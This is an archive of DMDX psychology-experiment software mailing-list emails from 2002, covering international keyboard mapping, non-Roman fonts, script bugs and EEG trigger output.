Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:13 PM 10/23/2002 -0400, you wrote: >I do care about the international keyboard. >I am running windows 98 and I haven't successed to present any text in >Korean. Windows 98 isn't much good for non-roman alphabets, a much better bet is to use 2000 or XP. > I make them all in image files. It was really pain. In the >keyboard control, I don't see the option for Korean keyboard. Really? How interesting. My guess is that you must have ""Keyboard"" keyboard otherwise you'd be running into the issues others have been having with mapping buttons. >I know >Window XP has it. Are there any ways to display non romanized >character in DMDX? Multiple people use it for Chinese and Hebrew fonts. I don't know what they use to generate the .RTF files though. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 17:25:46 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9O0PRMS007804 for ; Wed, 23 Oct 2002 17:25:27 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB69B640001F361 for DMDX@psy1.psych.arizona.edu; Wed, 23 Oct 2002 17:22:20 -0700 Message-Id: <5.1.0.14.2.20021023171141.00b132d0@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 17:22:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.07 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 3.0.0.07 is released. Included are the new #inputdevices designed to allow DMDX to keep running even when the name of the keyboard isn't ""keyboard"" (assuming of course that button #57 is in fact the space bar on anything else besides the US keyboard but I can't tell not having any non US keyboards), a new alternate switch that doesn't require two vertical dimensions as in ), and an keyword alternate that can now contain a counter reference. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 19:20:13 2002 Received: from smtp1-gw.tp1rc.edu.tw (smtp1-gw.tp1rc.edu.tw [163.28.16.23]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9O2JWMS008008 for ; Wed, 23 Oct 2002 19:19:32 -0700 Received: from ccms.ntu.edu.tw (ccms.ntu.edu.tw [140.112.2.3]) by smtp1-gw.tp1rc.edu.tw (8.9.3/8.9.3) with ESMTP id KAA38884 for ; Thu, 24 Oct 2002 10:09:59 +0800 (CST) (envelope-from hue@ccms.ntu.edu.tw) Received: from HUE (psy20.psy.ntu.edu.tw [140.112.62.20]) by ccms.ntu.edu.tw (8.11.6/8.9.3) with SMTP id g9O2DNP05935 for ; Thu, 24 Oct 2002 10:13:23 +0800 (CST) From: ""Chih-Wei Hue"" To: Subject: [DMDX] RE: Re: international keyboard woes Date: Thu, 24 Oct 2002 10:18:08 +0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" In-reply-to: Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Heejong, I have no problem using DMDX to present Chinese. Please try what I did in my programs. (1) Check your computer using TimeDX to find out the symbols used in your computer to represent the ""keyboard"" and the keys on the keyboard. (2) In the control line of the DMDX program, key in the word ""keyboard"" (in ) in ""Korean"". (3) In the program lines, ""mapping response"" (mr) should be added whenever keyboard responses are needed. See the following example. 0 ""Press Space........ Good luck with your experiment. Chih-Wei -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Heejong Yi Sent: Thursday, October 24, 2002 3:14 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: international keyboard woes I do care about the international keyboard. I am running windows 98 and I haven't successed to present any text in Korean. I make them all in image files. It was really pain. In the keyboard control, I don't see the option for Korean keyboard. I know Window XP has it. Are there any ways to display non romanized character in DMDX? Thank you so much. heejong On Wed, 23 Oct 2002, Jonathan C. Forster wrote: > > So no one cares about international keyboard trouble? Fine, I'll leave > it out. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > I like the word 'indolence.' It makes my laziness seem classy. > - Bern Williams > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 23 22:30:32 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9O5TmMS008312 for ; Wed, 23 Oct 2002 22:29:48 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9O5Qd34029627 for ; Wed, 23 Oct 2002 22:26:39 -0700 (MST) Message-Id: <5.1.0.14.2.20021023222244.00b2f788@psy1.psych.arizona.edu> Date: Wed, 23 Oct 2002 22:26:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: international keyboard woes In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:18 AM 10/24/2002 +0800, you wrote: >Hi Heejong, >I have no problem using DMDX to present Chinese. Please try what I did in >my programs. >(1) Check your computer using TimeDX to find out the symbols used in your >computer to represent the ""keyboard"" and the keys on the keyboard. >(2) In the control line of the DMDX program, key in the word ""keyboard"" >(in ) in ""Korean"". >(3) In the program lines, ""mapping response"" (mr) should be added whenever >keyboard responses are needed. See the following example. Hopefully this kind of thing won't be necessary anymore unless people actually want to use keys other than the standard space bar / shift key group. If fact, all keywords and etc keywords should be removed (assuming today's DMDX has been installed of course) and then international keyboards should be fine. Of course if people actually reported the number that the space bar and shift keys report with the latest versions of TimeDX as per my earlier posting like I asked I'd know if it was going to work... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 01:23:13 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9O8MXMS008589 for ; Thu, 24 Oct 2002 01:22:34 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA1722 for ; Thu, 24 Oct 2002 10:18:29 +0200 Message-ID: <3DB7ACE9.20504@ling.uni-potsdam.de> Date: Thu, 24 Oct 2002 10:18:49 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Timing of items References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, Whenever I am trying to do a search on the the list thread, I get this message. Can anybody tell me what is the matter? best, Ruben van de Vijver ############################################################################################# Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, root@midas.slackware.lan and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. ------------------------------------------------------------------------ Apache/1.3.26 Server at psy1.psych.arizona.edu Port 80 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 02:02:34 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9O92OMS008728 for ; Thu, 24 Oct 2002 02:02:24 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA1832 for ; Thu, 24 Oct 2002 10:58:19 +0200 Message-ID: <3DB7B63F.2030106@ling.uni-potsdam.de> Date: Thu, 24 Oct 2002 10:58:39 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] displaying instructions until subject presses a button References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> <3DB7ACE9.20504@ling.uni-potsdam.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, In an experiment I am about to run I would like to have the subject tell me whether two wav files are identical or not. Now, when these files are playing until the subject has given me his answer, I want to display a text telling him what button is correct and which button is incorrect. I know how to display the text for the duration of the two wav files, but not how to display the instruction text until he has reacted. Any suggestions? Ruben van de Vijver >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 04:17:29 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OAxCMS008949 for ; Thu, 24 Oct 2002 03:59:12 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA1D0B for ; Thu, 24 Oct 2002 12:55:07 +0200 Message-ID: <3DB7D19F.9060707@ling.uni-potsdam.de> Date: Thu, 24 Oct 2002 12:55:27 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: TimeDX 3.0.05 References: <5.1.0.14.2.20021022100553.00b12878@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I just tested the new dmdx version on a machin with a german keyboard: #42 is indeed the left shift key (in German ) #54 is indeed the right shift key (in German ) #57 is indeed the spacebar (in German ) I could send a screenshot of the test (not to the list I guess), if necessary? best, ruben van de vijver j.c.f. wrote: > > There's a new version 3.0.05 of TimeDX on the web site that has a > small change to the Input Test that provides the binary ID of keys as > well as their name. This is pursuant to building a fail safe keyboard > input device in DMDX that doesn't care what language has been used to > describe the keyboard. But before I do it I need to know whether the > binary IDs for the keys DMDX would use are in fact common across > languages. So on my US windows I see that: > > #42 is the left shift key, > #54 is the right shift key and > #57 is the space bar. > > If people with international versions of windows would kindly > install the latest software and report whether their keys have the > same IDs I will proceed to build the new input device. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 08:33:35 2002 Received: from avocado.pc.helsinki.fi (IDENT:1U3CSCh0cI77b6Nuhbrbfd/jCKGqoKzh@avocado.pc.helsinki.fi [128.214.74.73]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFX6MS009571 for ; Thu, 24 Oct 2002 08:33:07 -0700 Received: from cbru.helsinki.fi (kardinaali.pc.helsinki.fi [128.214.149.59]) by avocado.pc.helsinki.fi (8.11.6/8.11.6) with ESMTP id g9OKoeJ18011 for ; Thu, 24 Oct 2002 18:50:40 -0200 Message-ID: <3DB813B6.22652AF1@cbru.helsinki.fi> Date: Thu, 24 Oct 2002 18:37:28 +0300 From: Tom Campbell MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: Visual 2AFC with warning tone gets hung References: Content-Type: multipart/mixed; boundary=""------------AC1654C796D9EBD728CE68D8"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------AC1654C796D9EBD728CE68D8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear John Curtin, j.c.f., ken and other experts, Thanks for the suggestion. Please could you verify if 0 is not possible as a line number? It would appear to be an interaction between using randomisation and using the 0 as a line. Remove the randomisation using 0 as the line number does not present a problem. It may be that the randomisation routines cannot use 0 as a tag to reorganise the order of trials. Replace 0 with 20 and the thing seems to run smoothly. I hope it was that I was not just chance when I tested the routine. This is the program rehashed slighlty but it seems to work: s162 f146 $ +10001 /* ! ""angryleft.bmp""; 10001 ;$ +20 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""a000.bmp""/; ...snip... +18 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h085.bmp""/; +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! ""h100.bmp""/; $+10001 * ! ""Thanks. Please await experimenter's instructions."";$ ""John J. Curtin"" wrote: > I would suggest turning off scrambling first to help determine which line of > the script is causing the problem. > > J > > John J. Curtin, Ph.D. > Assistant Professor of Psychology > University of Wisconsin > 1202 W. Johnson St. > Madison, WI 53706 > Office: 608-262-0387 > Lab: 608-262-5621 > Cell: 608-217-6221 > Email: jjcurtin@wisc.edu > > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Tom Campbell > Sent: Wednesday, October 23, 2002 6:07 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Visual 2AFC with warning tone gets hung > > Dear j.c.f., ken and other experts, > > I would be very grateful if you would be so kind as to assist me with > this problem that I suspect may reside in the parameter line. > > I have written a task that presents a warning tone-a 400 ms wav > containing 200 msec of tone followed by 200 msec of silence- > concurrently with a bmp -which is a fixation cross. This fixation cross > is presented for 500 msec such that offset of wav and bmp synchronise- > and then a new bmp image is presented for an intended 1 second (86 frame > durations(0.011627907 s)). The idea is that either of two responses on a > button box then causes the next trial to begin and RT to the onset of > second BMP is written to azk without feedback. > > For some reason the video mode results in the images being rather wider > than they were originally so I have used the bm command to resize them > to their original proportions. > > Running DMDX with the diagnostic box checked permits everything to run > smoothly and no tick disorder is apparent. However, in practice when a > participant is doing the task, the task stop half way through. The > second BMP disappears and neither response causes the next trial to > begin. > > I include the whole task in this circumstance as the problem can arise > on even the 280th of 285 trials. > > Best regards, > Tom Campbell. > > s162 f146 480,480, 16, 0> > $ > +10001 /* ! ""nonemotionalleft.bmp"";$ > \\ > +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! 0.7,1>""a000.bmp""/; > +0 /""framefix.bmp""/""1kHz.wav""%0/ * ! 0.7,1>""a000.bmp""/; ...snip... > +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! 0.7,1>""h100.bmp""/; > +19 /""framefix.bmp""/""1kHz.wav""%0/ * ! 0.7,1>""h100.bmp""/; > > \\ > $+10001 * ! ""Thanks. Please await experimenter's instructions."";$ > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== --------------AC1654C796D9EBD728CE68D8 Content-Type: text/x-vcard; charset=us-ascii; name=""tom.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Tom Campbell Content-Disposition: attachment; filename=""tom.vcf"" begin:vcard n:Campbell;Tom tel;cell:+358 4 154 09764 tel;fax:+358 9 191 29450 tel;work:+358 9 191 29487 x-mozilla-html:TRUE version:2.1 email;internet:tom.campbell@cbru.helsinki.fi title:Research Fellow note:PLEASE SEE MY CV: http://www.cbru.helsinki.fi/~tom/ adr;quoted-printable:;;Cognitive Brain Research Unit, Department of Psychology, PO BOX 9 (Siltavuorenpenger 20 C), 00014 University of Helsinki, Finland. =0D=0A ;;;; fn:Dr Tom Campbell end:vcard --------------AC1654C796D9EBD728CE68D8-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 08:47:31 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFlTMS009721 for ; Thu, 24 Oct 2002 08:47:30 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9OFiK34024946 for ; Thu, 24 Oct 2002 08:44:20 -0700 (MST) Message-Id: <5.1.0.14.2.20021024084257.00b2bfc0@psy1.psych.arizona.edu> Date: Thu, 24 Oct 2002 08:44:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: displaying instructions until subject presses a button In-Reply-To: <3DB7B63F.2030106@ling.uni-potsdam.de> References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> <3DB7ACE9.20504@ling.uni-potsdam.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:58 AM 10/24/2002 +0200, you wrote: >Hi, > >In an experiment I am about to run I would like to have the subject tell >me whether two wav files are identical or not. Now, when these files are >playing until the subject has given me his answer, I want to display a >text telling him what button is correct and which button is incorrect. I >know how to display the text for the duration of the two wav files, but >not how to display the instruction text until he has reacted. Use feedback to erase the screen: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhclearfeedbackkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 08:49:39 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFnbMS009765 for ; Thu, 24 Oct 2002 08:49:37 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9OFkO34026012 for ; Thu, 24 Oct 2002 08:46:26 -0700 (MST) Message-Id: <5.1.0.14.2.20021024084508.00b128a0@psy1.psych.arizona.edu> Date: Thu, 24 Oct 2002 08:46:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: Visual 2AFC with warning tone gets hung In-Reply-To: <3DB813B6.22652AF1@cbru.helsinki.fi> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:37 PM 10/24/2002 +0300, you wrote: >Dear John Curtin, j.c.f., ken and other experts, > >Thanks for the suggestion. Please could you verify if 0 is not possible as a >line number? It would appear to be an interaction between using randomisation >and using the 0 as a line. Remove the randomisation using 0 as the line number >does not present a problem. It may be that the randomisation routines >cannot use >0 as a tag to reorganise the order of trials. Replace 0 with 20 and the thing >seems to run smoothly. I hope it was that I was not just chance when I tested >the routine. This is the program rehashed slighlty but it seems to work: Item number 0 is special and it is for instructions. will not affect instructions, they always need a request unless there is a in the instruction. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 08:55:11 2002 Received: from avocado.pc.helsinki.fi (IDENT:s+tADK1TZENQ1phF2BcKdZT3RAPT7pkI@avocado.pc.helsinki.fi [128.214.74.73]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFt8MS009879 for ; Thu, 24 Oct 2002 08:55:08 -0700 Received: from cbru.helsinki.fi (kardinaali.pc.helsinki.fi [128.214.149.59]) by avocado.pc.helsinki.fi (8.11.6/8.11.6) with ESMTP id g9OLChJ18189 for ; Thu, 24 Oct 2002 19:12:43 -0200 Message-ID: <3DB818E2.58479B3D@cbru.helsinki.fi> Date: Thu, 24 Oct 2002 18:59:30 +0300 From: Tom Campbell MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: Visual 2AFC with warning tone gets hung References: <5.1.0.14.2.20021024084508.00b128a0@psy1.psych.arizona.edu> Content-Type: multipart/mixed; boundary=""------------37D248EECE4A908ED1A0B4F1"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------37D248EECE4A908ED1A0B4F1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thank you, that clarifies! ""j.c.f."" wrote: > At 06:37 PM 10/24/2002 +0300, you wrote: > >Dear John Curtin, j.c.f., ken and other experts, > > > >Thanks for the suggestion. Please could you verify if 0 is not possible as a > >line number? It would appear to be an interaction between using randomisation > >and using the 0 as a line. Remove the randomisation using 0 as the line number > >does not present a problem. It may be that the randomisation routines > >cannot use > >0 as a tag to reorganise the order of trials. Replace 0 with 20 and the thing > >seems to run smoothly. I hope it was that I was not just chance when I tested > >the routine. This is the program rehashed slighlty but it seems to work: > > Item number 0 is special and it is for instructions. will not > affect instructions, they always need a request unless there is a in > the instruction. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Every purchase has its price. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== --------------37D248EECE4A908ED1A0B4F1 Content-Type: text/x-vcard; charset=us-ascii; name=""tom.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Tom Campbell Content-Disposition: attachment; filename=""tom.vcf"" begin:vcard n:Campbell;Tom tel;cell:+358 4 154 09764 tel;fax:+358 9 191 29450 tel;work:+358 9 191 29487 x-mozilla-html:TRUE version:2.1 email;internet:tom.campbell@cbru.helsinki.fi title:Research Fellow note:PLEASE SEE MY CV: http://www.cbru.helsinki.fi/~tom/ adr;quoted-printable:;;Cognitive Brain Research Unit, Department of Psychology, PO BOX 9 (Siltavuorenpenger 20 C), 00014 University of Helsinki, Finland. =0D=0A ;;;; fn:Dr Tom Campbell end:vcard --------------37D248EECE4A908ED1A0B4F1-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 09:13:17 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFrfMS009837 for ; Thu, 24 Oct 2002 08:53:49 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9OFoV34028046 for ; Thu, 24 Oct 2002 08:50:32 -0700 (MST) Message-Id: <5.1.0.14.2.20021024084950.00b2bfc0@psy1.psych.arizona.edu> Date: Thu, 24 Oct 2002 08:50:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Timing of items In-Reply-To: <3DB7ACE9.20504@ling.uni-potsdam.de> References: <5.1.0.14.2.20010801094316.009ee170@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:18 AM 10/24/2002 +0200, you wrote: >Hi, > >Whenever I am trying to do a search on the the list thread, I get this >message. Can anybody tell me what is the matter? Oh. I must screwed something up. I'll look at it today if I get the chance. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 09:19:21 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OFjVMS009664 for ; Thu, 24 Oct 2002 08:45:31 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9OFgL34023992 for ; Thu, 24 Oct 2002 08:42:21 -0700 (MST) Message-Id: <5.1.0.14.2.20021024084122.00b128a0@psy1.psych.arizona.edu> Date: Thu, 24 Oct 2002 08:42:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: TimeDX 3.0.05 In-Reply-To: <3DB7D19F.9060707@ling.uni-potsdam.de> References: <5.1.0.14.2.20021022100553.00b12878@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:55 PM 10/24/2002 +0200, you wrote: >Hi, > >I just tested the new dmdx version on a machin with a german keyboard: > >#42 is indeed the left shift key (in German ) >#54 is indeed the right shift key (in German ) >#57 is indeed the spacebar (in German ) > >I could send a screenshot of the test (not to the list I guess), if necessary? Much thanks, no screen shot is necessary, this is indeed the information I was looking for. The international keyboard code will certainly work in Germany. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 09:27:11 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OG66MS010024 for ; Thu, 24 Oct 2002 09:06:06 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA292E for ; Thu, 24 Oct 2002 18:02:00 +0200 Message-ID: <3DB8198F.5070009@ling.uni-potsdam.de> Date: Thu, 24 Oct 2002 18:02:23 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: sending triggers to Neuroscan References: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, We are trying to send triggers to neuroscan, we have run the program below but no triggers seem to arrive (although the program runs flawlessly). We have run another program, not using dmdx but (dos-based) erts instead, and then triggers do arrive. Has anybody had similar experiences? best, ruben John J. Curtin wrote: > d119 f1 1024,768,768,32,0> > >1 o1 ""neg"" <% 360>/; >2 o2 ""pos"" <% 360>/; >3 o2 ""pos"" <% 360>/; >4 o1 ""neg"" <% 360>/; > > >Use keyword in the header to run IOcard in non-latched mode. >The 5 indicates that output will revert to hold value after 5ms. Set the >hold value (I use 255) to match hold value in the ns setup file. > >Then simply use the (or o) keyword in each item in the same frame >as you present the bmp file to mark the onset of the bmp presentation. > >In the above example, using a refresh of 60hz, two slides (a negative and >positively valent slide) are presented for approx 6 s on a specific trial >and I mark the valence of the slide with the output code sent to the ns >physio file. ISI of approx 2s > >J > > > >John J. Curtin, Ph.D. >Assistant Professor of Psychology >University of Wisconsin >1202 W. Johnson St. >Madison, WI 53706 >Office: 608-262-0387 >Lab: 608-262-5621 >Cell: 608-217-6221 >Email: jjcurtin@wisc.edu > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Paul Dockree >Sent: Wednesday, October 23, 2002 11:43 AM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] sending triggers to neuroscan > > > > > >>I have recently set up a test of attention presenting visual stimuli in >>DMDX in the form of .bmp files. I need to send triggers to neuroscan (EEG >>software) to mark each visual presentation. Any advice on how I might do >>this would be appreiciated. >> >>Kind regards, >> >>Paul. >> >> >>------------------------------------------ >>Paul Dockree >> >>Department of Psychology >>�ras an Phiarsaigh >>University of Dublin >>Trinity College >>Dublin 2 >>Ireland >> >>Tel: +353 (0)1 608 3083 >> >> > >------------------------------------------ >Paul Dockree > >Department of Psychology >�ras an Phiarsaigh >University of Dublin >Trinity College >Dublin 2 >Ireland > >Tel: +353 (0)1 608 3083 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 24 11:45:18 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9OIiiMS010536 for ; Thu, 24 Oct 2002 11:44:44 -0700 Received: 